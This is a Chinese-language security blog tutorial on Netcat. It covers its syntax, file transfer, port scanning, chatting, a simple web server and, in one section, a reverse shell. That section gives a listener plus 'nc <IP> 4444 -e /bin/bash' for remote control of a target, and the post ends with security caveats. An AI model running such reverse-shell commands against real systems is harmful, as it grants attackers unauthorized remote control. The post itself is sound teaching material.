工具分享 | Netcat(nc)瑞士军刀

admin 2024年8月5日10:52:48评论27 views字数 3976阅读13分15秒阅读模式

声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

Netcat(nc)

Netcat是一个命令行工具,负责在网络中读取和写入数据。为了交换数据,Netcat使用网络协议TCP/IP和UDP。该工具最初来自Unix世界,但现在可用于所有平台。由于其普遍可用性,Netcat通常被称为“TCP / IP的瑞士军刀”。

例如,它允许您诊断危及网络功能和安全性的故障和问题。Netcat也可以执行端
口扫描,数据流或简单的数据传输。更重要的是,可以设置聊天和Web服务器并启动邮件请求。

如何使用Netcat?

下载地址:https://eternallybored.org/misc/netcat/

Netcat可以通过命令行在所有平台上使用。命令行工具通常预装在 Linux 和 macOS 上。Windows用户需要从互联网下载该程序。不需要特殊的安装步骤;下载程序文件(nc.exe)足以在Windows上使用。

然后,您可以将 Netcat 与命令提示符 (cmd.exe) 一起使用来执行各种网络任务。启动命令提示符,如下所示:

按组合键 [窗口] + [R],cmd,回车

工具分享 | Netcat(nc)瑞士军刀

要启动程序文件 (nc.exe),您还需要切换到存储位置。如果 nc.exe 保存在 Windows 桌面上的“netcat” 文件夹中,语法将如下所示:

cd C:Users80849Desktopnetcat

Netcat 语法:存在哪些命令和选项?

Netcat语法由两个基本组件组成:常量基本命令“nc”,后跟各种“选项”。基本命令处理程序文件 nc.exe.,而选项确定 Netcat 版本的特定功能范围。根据所使用的操作系统和 Netcat 版本,可能性会有所不同。

下表仅涵盖适用于 Linux、macOS 和 Windows 的大多数版本中可用的主要选项。此外,还列出了其他有用的选项 - 特别是基于Linux,Unix和macOS的广泛GNU Netcat版本的扩展:

工具分享 | Netcat(nc)瑞士军刀

工具分享 | Netcat(nc)瑞士军刀

使用 Netcat 语法的一个简单示例是访问有关参数“-h”的帮助:

C:Users80849Desktopnetcat>nc -h

工具分享 | Netcat(nc)瑞士军刀

例如:

# 如果要在网络中定义用于数据传输的服务器或客户端,则以下语法适用:客户端模式(连接到某个位置)
nc [options] [IP address/host name] [port]

# 服务器模式(侦听入站):
nc -l -p port [options] [host name] [port]

# 运行端口扫描的基本结构如下:
nc [options] [host] [port]

使用 Netcat 复制文件

Netcat 的一个常用功能是复制文件。甚至可以发送大量数据并克隆单个分区或整个硬盘驱动器。在我们的示例中,testfile.txt 文件通过端口 6790 从计算机 A(客户端)复制到计算机 B(服务器):需要执行以下步骤:

  1. 确定计算机 B(目标 PC)的 IP 地址

  2. 在计算机 A 的 Netcat 文件夹中创建测试文件测试文件.txt;在此示例中,FEST 文件位于客户端的Netcat 文件夹中。然后,复制的文件最终会位于计算机 B 上的 Netcat 文件夹中(需要相应地调整其他文件路径)。

  3. 在命令行中输入 Netcat 语法

计算机 B(充当接收服务器):

nc -l -p 6790 > 1.txt

工具分享 | Netcat(nc)瑞士军刀

计算机 A(充当发送客户端):

nc [IP address of computer B] 6790 < 1.txt

工具分享 | Netcat(nc)瑞士军刀

命令提示符中未确认传输是否成功。您可以通过查看目标文件夹来查看传输是否有效。

运行端口扫描

为了检测任何错误和安全问题,您可以运行扫描并识别打开的端口。在下面的示例中,计算机的 IP 地址为 192.168.197.128。在IP地址之后,可以输入单个端口(例如1),多个端口(1,2,3等)或整个范围(1-1024)进行扫描:

nc -w 2 -z 192.168.197.128 1-1024
# 选项“-w”设置超时(此处:“尝试与端口建立连接两秒钟”)。
# 选项“-z”指示 Netcat 仅搜索侦听服务,而不 发送任何数据。

# 如果添加了选项“-v”,您将获得有关扫描的详细信息:
nc -v -w 2 -z 192.168.197.128 7999-8002

# Netcat 确认检测到开放端口,并显示消息"成功"!
Connection to 192.168.197.128 8000 port [tcp/smtp] succeeded!

工具分享 | Netcat(nc)瑞士军刀

最熟悉的服务(如电子邮件、FTP 或 SSH)在扫描的端口 1–1024 上运行。在此示例中,Netcat 找到了8000端口。

Netcat作为一个简单的聊天程序

Netcat还可以在两台计算机之间建立简单的TCP或UDP连接,并打开通信通道。在下面的示例中,收件人首先安装在远程系统上并设置为侦听模式。然后,接收方充当“侦听器”,并使用端口 1605 接收消息。

可以通过 IP 地址 192.168.11.1 联系它们。

nc -l -p 1605

然后,本地计算机(发送 PC)使用以下命令与邮件收件人建立连接:

nc 192.168.197.128 1605

如果成功建立连接,则可以双向发送消息。

设置简单的 Web 服务器 Netcat还可用于设置简单的Web服务器。

例如,如果由于技术问题而无法访问已建立的服务器,则至少 可以使用准备好的失败消息(以html文件的形式)响应请求:

nc -l -v -p 85 -w10 -L < 1.html

工具分享 | Netcat(nc)瑞士军刀

Netcat 等待发送到端口 85 的请求,并使用文件失败消息.html进行响应。选项“-L”允许您在单个请求之外维护 Netcat 进程。参数“-w”在 10 秒(超时)后终止连接。“-v”参数为服务器操作员提供有关请求的信息,并记录请求客户端计算机的操作系统和浏览器类型,例如,通过状态消息。

监听和反弹shell

nc监听

nc可以用来在一台主机上监听一个端口,等待另一台主机的连接。这样,就可以实现两台主机之间的双向通信。

要使用nc监听一个端口,需要使用-l选项,表示listen模式。例如:

nc -lvp 1234

工具分享 | Netcat(nc)瑞士军刀

这条命令会在本地主机上监听1234端口,等待远程主机的连接。

要连接到一个监听的端口,只需要指定目标主机的IP地址和端口号即可。例如:

nc 192.168.197.128 1234

工具分享 | Netcat(nc)瑞士军刀

这条命令会从本地主机连接到192.168.197.128主机的1234端口。

连接成功后,两台主机就可以互相发送和接收数据了。要结束连接,可以按Ctrl+C键。

工具分享 | Netcat(nc)瑞士军刀

nc反弹shell

nc还可以用来创建反弹shell,也就是让目标主机执行本地主机指定的命令,并将结果返回给本地主机。

这样,就可以实现对目标主机的远程控制。

要使用nc创建反弹shell,需要先在本地主机上监听一个端口,然后在目标主机上执行一个命令,将其标准输入、输出和错误重定向到本地主机的监听端口。例如:

# 在本地主机上监听4444端口
nc -lvp 4444
# 在目标主机上执行以下命令(假设本地主机的IP地址是192.168.197.128)
nc 192.168.197.128 4444 -e /bin/bash

这样,就会在目标主机上创建一个反弹shell,并将其连接到本地主机的4444端口。然后,在本地主机上 输入的任何命令都会在目标主机上执行,并将结果返回给本地主机。

工具分享 | Netcat(nc)瑞士军刀

要结束反弹shell,可以在本地主机上输入exit命令。

Netcat 是否存在安全风险?

毫无疑问,Netcat可以在网络中普遍使用,并在这里执行许多有用的任务。因此,难怪它在系统和网络管理员中非常受欢迎 - 特别是因为创建Netcat代码在一定时间后变得相对容易。

但也有一个缺点:Netcat是一种黑客工具,用于监视网络,寻找漏洞,绕过防火墙以及利用后门来接管计算机。防病毒程序会发出警报,例如,当在计算机上找到Netcat版本时,由于特殊编译而可以执行选项“-e”。

在代码中使用此“-e”,可以在远程计算机上启动交互式界面(后门外壳)。任何在 Windows 上不受限制地访问 cmd.exe 的人都可能造成大量损害。其他恶意软件也可以通过后门外壳加载。黑客经常在代码中使用Netcat参数“-d”,这允许命令提示符工具在Windows计算机上造成麻烦 - 同时在后台无形地运行

为避免被黑客入侵的版本,Netcat 只能从互联网上的安全来源下载。安全专家还建议仔细考虑在系统(特别是前端系统)的安装范围内是否需要像Netcat这样的工具。

另一个安全风险:Netcat 通常以明文形式传输数据而不加密。出于这个原因,该工具应该只在受到良好保护或 - 甚至更好 - 与互联网切断的网络中使用。对于互联网上的数据传输,Netcat的继任者Cryptcat更适合,因为它对数据进行了加密。此外,在传输与安全相关的数据时,可以通过SSH建立隧道连接。

优点和潜在风险清楚地表明,Netcat 是精通用户、系统管理员和 IT 经理应该仔细考虑的工具。那些了解优势的人可以从远程管理工具的多功能性和效率中受益。那些能够适当评估自己网络安全危险的人可以采取预防措施来阻止黑客攻击 - 或者至少控制损害。

然而,该工具现在已经相当过时了——20 多年前出现在黑客圈子里。为一系列网络活动提供了更好的工具。除了Cryptcat,Socat也值得一提。除了TCP和UDP之外,它还可以使用网络协议SCTP,通过代理服务器工作,并支持加密。它还可以在Netcat等所有常见平台上运行。

但 Netcat 继续享有特殊地位,是一款精简且可快速部署的多面手,具有简单的命令语法。例如,结合管理工具Netsh,可以使用更多选项进行高效的网络诊断和管理

参考

瑞士军刀——Netcat的安装与详细使用-CSDN博客

Netcat首页、文档和下载 - 网络测试工具 - OSCHINA - 中文开源技术交流社区

原文始发于微信公众号(安全君呀):工具分享 | Netcat(nc)瑞士军刀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日10:52:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   工具分享 | Netcat(nc)瑞士军刀https://cn-sec.com/archives/3036320.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息